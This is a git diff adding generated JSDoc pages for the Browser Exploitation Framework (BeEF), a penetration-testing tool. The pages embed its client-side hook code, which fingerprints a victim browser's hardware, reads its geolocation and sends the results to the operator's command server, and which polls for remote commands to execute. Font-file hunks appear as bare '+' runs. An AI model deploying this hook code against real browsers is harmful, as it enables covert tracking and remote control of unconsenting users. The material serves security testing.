+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/docs/fonts/OpenSans-LightItalic-webfont.woff b/docs/fonts/OpenSans-LightItalic-webfont.woff new file mode 100644 index 000000000..43e8b9e6c Binary files /dev/null and b/docs/fonts/OpenSans-LightItalic-webfont.woff differ diff --git a/docs/fonts/OpenSans-Regular-webfont.eot b/docs/fonts/OpenSans-Regular-webfont.eot new file mode 100644 index 000000000..6bbc3cf58 Binary files /dev/null and b/docs/fonts/OpenSans-Regular-webfont.eot differ diff --git a/docs/fonts/OpenSans-Regular-webfont.svg b/docs/fonts/OpenSans-Regular-webfont.svg new file mode 100644 index 000000000..25a395234 --- /dev/null +++ b/docs/fonts/OpenSans-Regular-webfont.svg @@ -0,0 +1,1831 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/docs/fonts/OpenSans-Regular-webfont.woff b/docs/fonts/OpenSans-Regular-webfont.woff new file mode 100644 index 000000000..e231183dc Binary files /dev/null and b/docs/fonts/OpenSans-Regular-webfont.woff differ diff --git a/docs/geolocation.js.html b/docs/geolocation.js.html new file mode 100644 index 000000000..254ddf6d5 --- /dev/null +++ b/docs/geolocation.js.html @@ -0,0 +1,159 @@ + + + + + JSDoc: Source: geolocation.js + + + + + + + + + + +
+ +

Source: geolocation.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Provides functionalities to use the geolocation API.
+ * @namespace beef.geolocation
+ */
+
+beef.geolocation = {
+
+    /**
+     * Check if browser supports the geolocation API
+     * @return {boolean}
+     */
+    isGeolocationEnabled: function(){
+		return !!navigator.geolocation;
+    },
+
+    /** 
+     * Given latitude/longitude retrieves exact street position of the zombie
+     * @param command_url
+     * @param command_id
+     * @param latitude
+     * @param longitude
+     */
+    getOpenStreetMapAddress: function(command_url, command_id, latitude, longitude){
+
+        // fixes damned issues with jquery 1.5, like this one:
+        // http://bugs.jquery.com/ticket/8084
+        $j.ajaxSetup({
+            jsonp: null,
+            jsonpCallback: null
+        });
+
+        $j.ajax({
+            error: function(xhr, status, error){
+                beef.debug("[geolocation.js] openstreetmap error");
+                beef.net.send(command_url, command_id, "latitude=" + latitude
+                             + "&longitude=" + longitude
+                             + "&osm=UNAVAILABLE"
+                             + "&geoLocEnabled=True");
+                },
+            success: function(data, status, xhr){
+                beef.debug("[geolocation.js] openstreetmap success");
+                //var jsonResp = $j.parseJSON(data);
+
+                beef.net.send(command_url, command_id, "latitude=" + latitude
+                             + "&longitude=" + longitude
+//                             + "&osm=" + encodeURI(jsonResp.display_name)
+                              + "&osm=" + data.display_name
+                             + "&geoLocEnabled=True");
+                },
+            type: "get",
+	    dataType: "json",
+            url: "https://nominatim.openstreetmap.org/reverse?format=jsonv2&lat=" +
+                latitude + "&lon=" + longitude + "&zoom=18&addressdetails=1"
+        });
+
+    },
+
+    /**
+     * Retrieve latitude/longitude using the geolocation API
+     * @param command_url
+     * @param command_id
+     */
+    getGeolocation: function (command_url, command_id){
+
+        if (!navigator.geolocation) {
+	        beef.net.send(command_url, command_id, "latitude=NOT_ENABLED&longitude=NOT_ENABLED&geoLocEnabled=False");	
+			return;
+		}
+        beef.debug("[geolocation.js] navigator.geolocation.getCurrentPosition");
+        navigator.geolocation.getCurrentPosition( //note: this is an async call
+			function(position){ // success
+				var latitude = position.coords.latitude;
+        		var longitude = position.coords.longitude;
+                beef.debug("[geolocation.js] success getting position. latitude [%d], longitude [%d]", latitude, longitude);
+                beef.geolocation.getOpenStreetMapAddress(command_url, command_id, latitude, longitude);
+
+			}, function(error){ // failure
+                    beef.debug("[geolocation.js] error [%d] getting position", error.code);
+					switch(error.code) // Returns 0-3
+					{
+						case 0:
+			            	beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
+							return;
+						case 1:
+		            		beef.net.send(command_url, command_id, "latitude=PERMISSION_DENIED&longitude=PERMISSION_DENIED&geoLocEnabled=False");
+							return;
+						case 2:
+		            		beef.net.send(command_url, command_id, "latitude=POSITION_UNAVAILABLE&longitude=POSITION_UNAVAILABLE&geoLocEnabled=False");
+							return;
+						case 3:
+					   		beef.net.send(command_url, command_id, "latitude=TIMEOUT&longitude=TIMEOUT&geoLocEnabled=False");
+							return;
+					}
+            	beef.net.send(command_url, command_id, "latitude=UNKNOWN_ERROR&longitude=UNKNOWN_ERROR&geoLocEnabled=False");
+			},
+			{enableHighAccuracy:true, maximumAge:30000, timeout:27000}
+		);
+    }
+}
+
+
+beef.regCmp('beef.geolocation');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/hardware.js.html b/docs/hardware.js.html new file mode 100644 index 000000000..366c717fd --- /dev/null +++ b/docs/hardware.js.html @@ -0,0 +1,368 @@ + + + + + JSDoc: Source: hardware.js + + + + + + + + + + +
+ +

Source: hardware.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * @namespace beef.hardware
+ */
+
+beef.hardware = {
+
+  ua: navigator.userAgent,
+
+  /**
+   * @return {String} CPU type
+   */
+  getCpuArch: function() {
+    var arch = 'UNKNOWN';
+    // note that actually WOW64 means IE 32bit and Windows 64 bit. we are more interested
+    // in detecting the OS arch rather than the browser build
+    if (navigator.userAgent.match('(WOW64|x64|x86_64)') || navigator.platform.toLowerCase() == "win64"){
+      arch = 'x86_64';
+    }else if(typeof navigator.cpuClass != 'undefined'){
+      switch (navigator.cpuClass) {
+        case '68K':
+          arch = 'Motorola 68K';
+          break;
+        case 'PPC':
+          arch = 'Motorola PPC';
+          break;
+        case 'Digital':
+          arch = 'Alpha';
+          break;
+        default:
+          arch = 'x86';
+      }
+    }
+    // TODO we can infer the OS is 64 bit, if we first detect the OS type (os.js).
+    // For example, if OSX is at least 10.7, most certainly is 64 bit.
+    return arch;
+  },
+
+  /**
+   * Returns number of CPU cores
+   * @return {String}
+   */
+  getCpuCores: function() {
+    var cores = 'unknown';
+    try {
+      if(typeof navigator.hardwareConcurrency != 'undefined') {
+        cores = navigator.hardwareConcurrency;
+      }
+    } catch(e) {
+      cores = 'unknown';
+    }
+    return cores;
+  },
+
+  /**
+   * Returns CPU details
+   * @return {String}
+   */
+  getCpuDetails: function() {
+    return {
+      arch: beef.hardware.getCpuArch(),
+      cores: beef.hardware.getCpuCores()
+    }
+  },
+
+  /**
+   * Returns GPU details
+   * @return {object}
+   */
+  getGpuDetails: function() {
+    var gpu = 'unknown';
+    var vendor = 'unknown';
+    // use canvas technique:
+    // https://github.com/Valve/fingerprintjs2
+    // http://codeflow.org/entries/2016/feb/10/webgl_debug_renderer_info-extension-survey-results/
+    try {
+      var getWebglCanvas = function () {
+        var canvas = document.createElement('canvas')
+        var gl = null
+        try {
+          gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl')
+        } catch (e) { }
+        if (!gl) { gl = null }
+        return gl;
+      }
+
+      var glContext = getWebglCanvas();
+      var extensionDebugRendererInfo = glContext.getExtension('WEBGL_debug_renderer_info');
+      var gpu = glContext.getParameter(extensionDebugRendererInfo.UNMASKED_RENDERER_WEBGL);
+      var vendor = glContext.getParameter(extensionDebugRendererInfo.UNMASKED_VENDOR_WEBGL);
+      beef.debug("GPU: " + gpu + " - Vendor: " + vendor);
+    } catch (e) {
+      beef.debug('Failed to detect WebGL renderer: ' + e.toString());
+    }
+    return {
+      gpu: gpu,
+      vendor: vendor
+    }
+  },
+
+  /**
+   * Returns RAM (GiB)
+   * @return {String}
+   */
+  getMemory: function() {
+    var memory = 'unknown';
+    try {
+      if(typeof navigator.deviceMemory != 'undefined') {
+        memory = navigator.deviceMemory;
+      }
+    } catch(e) {
+      memory = 'unknown';
+    }
+    return memory;
+  },
+
+  /**
+   * Returns battery details
+   * @return {Object}
+   */
+  getBatteryDetails: function() {
+    var battery = navigator.battery || navigator.webkitBattery || navigator.mozBattery;
+
+    if (!!battery) {
+      return {
+        chargingStatus: battery.charging,
+        batteryLevel: battery.level * 100 + "%",
+        chargingTime: battery.chargingTime,
+        dischargingTime: battery.dischargingTime
+      }
+    } else {
+      return {
+        chargingStatus: 'unknown',
+        batteryLevel: 'unknown',
+        chargingTime: 'unknown',
+        dischargingTime: 'unknown'
+      }
+    }
+  },
+
+  /**
+   * Returns zombie screen size and color depth.
+   * @return {Object}
+   */
+  getScreenSize: function () {
+    return {
+      width: window.screen.width,
+      height: window.screen.height,
+      colordepth: window.screen.colorDepth
+    }
+  },
+
+  /**
+   * Is touch enabled?
+   * @return {Boolean} true or false.
+   */
+  isTouchEnabled: function() {
+    if ('ontouchstart' in document) return true;
+    return false;
+  },
+
+  /**
+   * Is virtual machine?
+   * @return {Boolean} true or false.
+   */
+  isVirtualMachine: function() {
+    if (this.getGpuDetails().vendor.match('VMware, Inc'))
+      return true;
+
+    if (this.isMobileDevice())
+      return false;
+
+    // if the screen resolution is uneven, and it's not a known mobile device
+    // then it's probably a VM
+    if (screen.width % 2 || screen.height % 2)
+      return true;
+
+    return false;
+  },
+
+  /**
+   * Is a Laptop?
+   * @return {Boolean} true or false.
+   */
+  isLaptop: function() {
+    if (this.isMobileDevice()) return false;
+    // Most common laptop screen resolution
+    if (screen.width == 1366 && screen.height == 768) return true;
+    // Netbooks
+    if (screen.width == 1024 && screen.height == 600) return true;
+    return false;
+  },
+
+  /**
+   * Is Nokia?
+   * @return {Boolean} true or false.
+   */
+  isNokia: function() {
+    return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)|(Lumia )')) ? true : false;
+  },
+
+  /**
+   * Is Zune?
+   * @return {Boolean} true or false.
+   */
+  isZune: function() {
+    return (this.ua.match('ZuneWP7')) ? true : false;
+  },
+
+  /**
+   * Is HTC?
+   * @return {Boolean} true or false.
+   */
+  isHtc: function() {
+    return (this.ua.match('HTC')) ? true : false;
+  },
+
+  /**
+   * Is Ericsson?
+   * @return {Boolean} true or false.
+   */
+  isEricsson: function() {
+    return (this.ua.match('Ericsson')) ? true : false;
+  },
+
+  /**
+   * Is Motorola?
+   * @return {Boolean} true or false.
+   */
+  isMotorola: function() {
+    return (this.ua.match('Motorola')) ? true : false;
+  },
+
+  /**
+   * Is Google?
+   * @return {Boolean} true or false.
+   */
+  isGoogle: function() {
+    return (this.ua.match('Nexus One')) ? true : false;
+  },
+
+  /**
+   * Returns true if the browser is on a Mobile device
+   * @return {Boolean} true or false
+   *
+   * @example: if(beef.hardware.isMobileDevice()) { ... }
+   */
+  isMobileDevice: function() {
+    return MobileEsp.DetectMobileQuick();
+  },
+
+  /**
+   * Returns true if the browser is on a game console
+   * @return {Boolean} true or false
+   *
+   * @example: if(beef.hardware.isGameConsole()) { ... }
+   */
+  isGameConsole: function() {
+    return MobileEsp.DetectGameConsole();
+  },
+
+  getName: function() {
+    var ua = navigator.userAgent.toLowerCase();
+    if(MobileEsp.DetectIphone())              { return "iPhone"};
+    if(MobileEsp.DetectIpod())                { return "iPod Touch"};
+    if(MobileEsp.DetectIpad())                { return "iPad"};
+    if (this.isHtc())               { return 'HTC'};
+    if (this.isMotorola())          { return 'Motorola'};
+    if (this.isZune())              { return 'Zune'};
+    if (this.isGoogle())            { return 'Google Nexus One'};
+    if (this.isEricsson())          { return 'Ericsson'};
+    if(MobileEsp.DetectAndroidPhone())        { return "Android Phone"};
+    if(MobileEsp.DetectAndroidTablet())       { return "Android Tablet"};
+    if(MobileEsp.DetectS60OssBrowser())       { return "Nokia S60 Open Source"};
+    if(ua.search(MobileEsp.deviceS60) > -1)   { return "Nokia S60"};
+    if(ua.search(MobileEsp.deviceS70) > -1)   { return "Nokia S70"};
+    if(ua.search(MobileEsp.deviceS80) > -1)   { return "Nokia S80"};
+    if(ua.search(MobileEsp.deviceS90) > -1)   { return "Nokia S90"};
+    if(ua.search(MobileEsp.deviceSymbian) > -1)   { return "Nokia Symbian"};
+    if (this.isNokia())             { return 'Nokia'};
+    if(MobileEsp.DetectWindowsPhone7())       { return "Windows Phone 7"};
+    if(MobileEsp.DetectWindowsPhone8())       { return "Windows Phone 8"};
+    if(MobileEsp.DetectWindowsPhone10())      { return "Windows Phone 10"};
+    if(MobileEsp.DetectWindowsMobile())       { return "Windows Mobile"};
+    if(MobileEsp.DetectBlackBerryTablet())    { return "BlackBerry Tablet"};
+    if(MobileEsp.DetectBlackBerryWebKit())    { return "BlackBerry OS 6"};
+    if(MobileEsp.DetectBlackBerryTouch())     { return "BlackBerry Touch"};
+    if(MobileEsp.DetectBlackBerryHigh())      { return "BlackBerry OS 5"};
+    if(MobileEsp.DetectBlackBerry())          { return "BlackBerry"};
+    if(MobileEsp.DetectPalmOS())              { return "Palm OS"};
+    if(MobileEsp.DetectPalmWebOS())           { return "Palm Web OS"};
+    if(MobileEsp.DetectGarminNuvifone())      { return "Gamin Nuvifone"};
+    if(MobileEsp.DetectArchos())              { return "Archos"}
+    if(MobileEsp.DetectBrewDevice())          { return "Brew"};
+    if(MobileEsp.DetectDangerHiptop())        { return "Danger Hiptop"};
+    if(MobileEsp.DetectMaemoTablet())         { return "Maemo Tablet"};
+    if(MobileEsp.DetectSonyMylo())            { return "Sony Mylo"};
+    if(MobileEsp.DetectAmazonSilk())          { return "Kindle Fire"};
+    if(MobileEsp.DetectKindle())              { return "Kindle"};
+    if(MobileEsp.DetectSonyPlaystation())                 { return "Playstation"};
+    if(ua.search(MobileEsp.deviceNintendoDs) > -1)        { return "Nintendo DS"};
+    if(ua.search(MobileEsp.deviceWii) > -1)               { return "Nintendo Wii"};
+    if(ua.search(MobileEsp.deviceNintendo) > -1)          { return "Nintendo"};
+    if(MobileEsp.DetectXbox())                            { return "Xbox"};
+    if(this.isLaptop())                         { return "Laptop"};
+    if(this.isVirtualMachine())                 { return "Virtual Machine"};
+
+    return 'Unknown';
+  }
+};
+
+beef.regCmp('beef.hardware');
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/index.html b/docs/index.html new file mode 100644 index 000000000..3cd8d374e --- /dev/null +++ b/docs/index.html @@ -0,0 +1,109 @@ + + + + + JSDoc: Home + + + + + + + + + + +
+ +

Home

+ + + + + + + + +

+ + + + + + + + + + + + + + + +
+

===============================================================================

+
Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+Browser Exploitation Framework (BeEF) - http://beefproject.com
+See the file 'doc/COPYING' for copying permission
+
+

===============================================================================

+

What is BeEF?

+

BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.

+

Amid growing concerns about web-borne attacks against clients, including mobile clients, BeEF allows the professional penetration tester to assess the actual security posture of a target environment by using client-side attack vectors. Unlike other security frameworks, BeEF looks past the hardened network perimeter and client system, and examines exploitability within the context of the one open door: the web browser. BeEF will hook one or more web browsers and use them as beachheads for launching directed command modules and further attacks against the system from within the browser context.

+

Get Involved

+

You can get in touch with the BeEF team. Just check out the following:

+

Please, send us pull requests!

+

Web: https://beefproject.com/

+

Bugs: https://github.com/beefproject/beef/issues

+

Security Bugs: security@beefproject.com

+

IRC: ircs://irc.freenode.net/beefproject

+

Twitter: @beefproject

+

Requirements

+
    +
  • Operating System: Mac OSX 10.5.0 or higher / modern Linux. Note: Windows is not supported.
  • +
  • Ruby: 2.5 or newer
  • +
  • SQLite: 3.x
  • +
  • Node.js: 6 or newer
  • +
  • The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile
  • +
  • Selenium is required on OSX: brew install selenium-server-standalone (See https://github.com/shvets/selenium)
  • +
+

ActiveRecord

+

ActiveRecord was used to replace DataMapper, and now ruby 2.4 is no longer supported. +If you're using ruby 2.4 please update your BeEF version, otherwise master-0.4.7.3 has the beef branch before the ActiveRecord Merge.

+

Quick Start

+

The following is for the impatient.

+

The install script installs the required operating system packages and all the prerequisite Ruby gems:

+
$ ./install
+
+

For full installation details, please refer to INSTALL.txt.

+

We also have an Installation page on the wiki.

+

Upon successful installation, be sure to read the Configuration page on the wiki for important details on configuring and securing BeEF.

+

Usage

+

To get started, simply execute beef and follow the instructions:

+
$ ./beef
+
+
+ + + + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + \ No newline at end of file diff --git a/docs/init.js.html b/docs/init.js.html new file mode 100644 index 000000000..887bcc2de --- /dev/null +++ b/docs/init.js.html @@ -0,0 +1,141 @@ + + + + + JSDoc: Source: init.js + + + + + + + + + + +
+ +

Source: init.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Contains the beef_init() method which starts the BeEF client-side
+ * logic. Also, it overrides the 'onpopstate' and 'onclose' events on the windows object.
+ *
+ * If beef.pageIsLoaded is true, then this JS has been loaded >1 times
+ * and will have a new session id. The new session id will need to know
+ * the brwoser details. So sendback the browser details again.
+ * 
+ * @namespace beef.init
+ */
+
+beef.session.get_hook_session_id();
+
+if (beef.pageIsLoaded) {
+    beef.net.browser_details();
+}
+/**
+ * @memberof beef.init
+ */
+window.onload = function () {
+    beef_init();
+};
+/**
+ * @memberof beef.init
+ */
+window.onpopstate = function (event) {
+    if (beef.onpopstate.length > 0) {
+        event.preventDefault;
+        for (var i = 0; i < beef.onpopstate.length; i++) {
+            var callback = beef.onpopstate[i];
+            try {
+                callback(event);
+            } catch (e) {
+                beef.debug("window.onpopstate - couldn't execute callback: " + e.message);
+            }
+            return false;
+        }
+    }
+};
+/**
+ * @memberof beef.init
+ */
+window.onclose = function (event) {
+    if (beef.onclose.length > 0) {
+        event.preventDefault;
+        for (var i = 0; i < beef.onclose.length; i++) {
+            var callback = beef.onclose[i];
+            try {
+                callback(event);
+            } catch (e) {
+                beef.debug("window.onclose - couldn't execute callback: " + e.message);
+            }
+            return false;
+        }
+    }
+};
+
+/**
+ * Starts the polling mechanism, and initialize various components:
+ *  - browser details (see browser.js) are sent back to the "/init" handler
+ *  - the polling starts (checks for new commands, and execute them)
+ *  - the logger component is initialized (see logger.js)
+ *  - the Autorun Engine is initialized (see are.js)
+ * @memberof beef.init
+ */
+function beef_init() {
+    if (!beef.pageIsLoaded) {
+        beef.pageIsLoaded = true;
+        beef.net.browser_details();
+
+        if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') {
+            setTimeout(function(){
+                beef.websocket.start();
+                beef.updater.execute_commands();
+                beef.logger.start();
+            }, parseInt(beef.websocket.ws_connect_timeout));
+        }else {
+            beef.net.browser_details();
+            beef.updater.execute_commands();
+            beef.updater.check();
+            beef.logger.start();
+        }
+    }
+}
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/lib_browser_jools.js.html b/docs/lib_browser_jools.js.html new file mode 100644 index 000000000..4b1909db0 --- /dev/null +++ b/docs/lib_browser_jools.js.html @@ -0,0 +1,1598 @@ + + + + + JSDoc: Source: lib/browser_jools.js + + + + + + + + + + +
+ +

Source: lib/browser_jools.js

+ + + + + + +
+
+
/**
+ * @namespace browser_jools
+ */
+
+/**
+ * @memberof browser_jools
+ * @param file 
+ * @param cwd 
+ */
+var require = function (file, cwd) {
+    var resolved = require.resolve(file, cwd || '/');
+    var mod = require.modules[resolved];
+    if (!mod) throw new Error(
+        'Failed to resolve module ' + file + ', tried ' + resolved
+    );
+    var res = mod._cached ? mod._cached : mod();
+    return res;
+}
+
+require.paths = [];
+require.modules = {};
+require.extensions = [".js",".coffee"];
+
+require._core = {
+    'assert': true,
+    'events': true,
+    'fs': true,
+    'path': true,
+    'vm': true
+};
+/**
+ * @memberof browser_jools
+ */
+require.resolve = (function () {
+    return function (x, cwd) {
+        if (!cwd) cwd = '/';
+        
+        if (require._core[x]) return x;
+        var path = require.modules.path();
+        cwd = path.resolve('/', cwd);
+        var y = cwd || '/';
+        
+        if (x.match(/^(?:\.\.?\/|\/)/)) {
+            var m = loadAsFileSync(path.resolve(y, x))
+                || loadAsDirectorySync(path.resolve(y, x));
+            if (m) return m;
+        }
+        
+        var n = loadNodeModulesSync(x, y);
+        if (n) return n;
+        
+        throw new Error("Cannot find module '" + x + "'");
+        
+        function loadAsFileSync (x) {
+            if (require.modules[x]) {
+                return x;
+            }
+            
+            for (var i = 0; i < require.extensions.length; i++) {
+                var ext = require.extensions[i];
+                if (require.modules[x + ext]) return x + ext;
+            }
+        }
+        
+        function loadAsDirectorySync (x) {
+            x = x.replace(/\/+$/, '');
+            var pkgfile = x + '/package.json';
+            if (require.modules[pkgfile]) {
+                var pkg = require.modules[pkgfile]();
+                var b = pkg.browserify;
+                if (typeof b === 'object' && b.main) {
+                    var m = loadAsFileSync(path.resolve(x, b.main));
+                    if (m) return m;
+                }
+                else if (typeof b === 'string') {
+                    var m = loadAsFileSync(path.resolve(x, b));
+                    if (m) return m;
+                }
+                else if (pkg.main) {
+                    var m = loadAsFileSync(path.resolve(x, pkg.main));
+                    if (m) return m;
+                }
+            }
+            
+            return loadAsFileSync(x + '/index');
+        }
+        
+        function loadNodeModulesSync (x, start) {
+            var dirs = nodeModulesPathsSync(start);
+            for (var i = 0; i < dirs.length; i++) {
+                var dir = dirs[i];
+                var m = loadAsFileSync(dir + '/' + x);
+                if (m) return m;
+                var n = loadAsDirectorySync(dir + '/' + x);
+                if (n) return n;
+            }
+            
+            var m = loadAsFileSync(x);
+            if (m) return m;
+        }
+        
+        function nodeModulesPathsSync (start) {
+            var parts;
+            if (start === '/') parts = [ '' ];
+            else parts = path.normalize(start).split('/');
+            
+            var dirs = [];
+            for (var i = parts.length - 1; i >= 0; i--) {
+                if (parts[i] === 'node_modules') continue;
+                var dir = parts.slice(0, i + 1).join('/') + '/node_modules';
+                dirs.push(dir);
+            }
+            
+            return dirs;
+        }
+    };
+})();
+/**
+ * @memberof browser_jools
+ */
+require.alias = function (from, to) {
+    var path = require.modules.path();
+    var res = null;
+    try {
+        res = require.resolve(from + '/package.json', '/');
+    }
+    catch (err) {
+        res = require.resolve(from, '/');
+    }
+    var basedir = path.dirname(res);
+    
+    var keys = (Object.keys || function (obj) {
+        var res = [];
+        for (var key in obj) res.push(key)
+        return res;
+    })(require.modules);
+    
+    for (var i = 0; i < keys.length; i++) {
+        var key = keys[i];
+        if (key.slice(0, basedir.length + 1) === basedir + '/') {
+            var f = key.slice(basedir.length);
+            require.modules[to + f] = require.modules[basedir + f];
+        }
+        else if (key === basedir) {
+            require.modules[to] = require.modules[basedir];
+        }
+    }
+};
+/**
+ * @memberof browser_jools
+ */
+require.define = function (filename, fn) {
+    var dirname = require._core[filename]
+        ? ''
+        : require.modules.path().dirname(filename)
+    ;
+    
+    var require_ = function (file) {
+        return require(file, dirname)
+    };
+    require_.resolve = function (name) {
+        return require.resolve(name, dirname);
+    };
+    require_.modules = require.modules;
+    require_.define = require.define;
+    var module_ = { exports : {} };
+    
+    require.modules[filename] = function () {
+        require.modules[filename]._cached = module_.exports;
+        fn.call(
+            module_.exports,
+            require_,
+            module_,
+            module_.exports,
+            dirname,
+            filename
+        );
+        require.modules[filename]._cached = module_.exports;
+        return module_.exports;
+    };
+};
+
+if (typeof process === 'undefined') process = {};
+
+if (!process.nextTick) process.nextTick = (function () {
+    var queue = [];
+    var canPost = typeof window !== 'undefined'
+        && window.postMessage && window.addEventListener
+    ;
+    
+    if (canPost) {
+        window.addEventListener('message', function (ev) {
+            if (ev.source === window && ev.data === 'browserify-tick') {
+                ev.stopPropagation();
+                if (queue.length > 0) {
+                    var fn = queue.shift();
+                    fn();
+                }
+            }
+        }, true);
+    }
+    
+    return function (fn) {
+        if (canPost) {
+            queue.push(fn);
+            window.postMessage('browserify-tick', '*');
+        }
+        else setTimeout(fn, 0);
+    };
+})();
+
+if (!process.title) process.title = 'browser';
+
+if (!process.binding) process.binding = function (name) {
+    if (name === 'evals') return require('vm')
+    else throw new Error('No such module')
+};
+
+if (!process.cwd) process.cwd = function () { return '.' };
+
+if (!process.env) process.env = {};
+if (!process.argv) process.argv = [];
+
+require.define("path", function (require, module, exports, __dirname, __filename) {
+function filter (xs, fn) {
+    var res = [];
+    for (var i = 0; i < xs.length; i++) {
+        if (fn(xs[i], i, xs)) res.push(xs[i]);
+    }
+    return res;
+}
+
+/**
+ * resolves . and .. elements in a path array with directory names there
+ * must be no slashes, empty elements, or device names (c:\) in the array
+ * (so also no leading and trailing slashes - it does not distinguish
+ * relative and absolute paths)
+ * @memberof browser_jools
+ * @param parts 
+ * @param allowAboveRoot 
+ */
+function normalizeArray(parts, allowAboveRoot) {
+  // if the path tries to go above the root, `up` ends up > 0
+  var up = 0;
+  for (var i = parts.length; i >= 0; i--) {
+    var last = parts[i];
+    if (last == '.') {
+      parts.splice(i, 1);
+    } else if (last === '..') {
+      parts.splice(i, 1);
+      up++;
+    } else if (up) {
+      parts.splice(i, 1);
+      up--;
+    }
+  }
+
+  // if the path is allowed to go above the root, restore leading ..s
+  if (allowAboveRoot) {
+    for (; up--; up) {
+      parts.unshift('..');
+    }
+  }
+
+  return parts;
+}
+
+// Regex to split a filename into [*, dir, basename, ext]
+// posix version
+var splitPathRe = /^(.+\/(?!$)|\/)?((?:.+?)?(\.[^.]*)?)$/;
+
+// path.resolve([from ...], to)
+// posix version
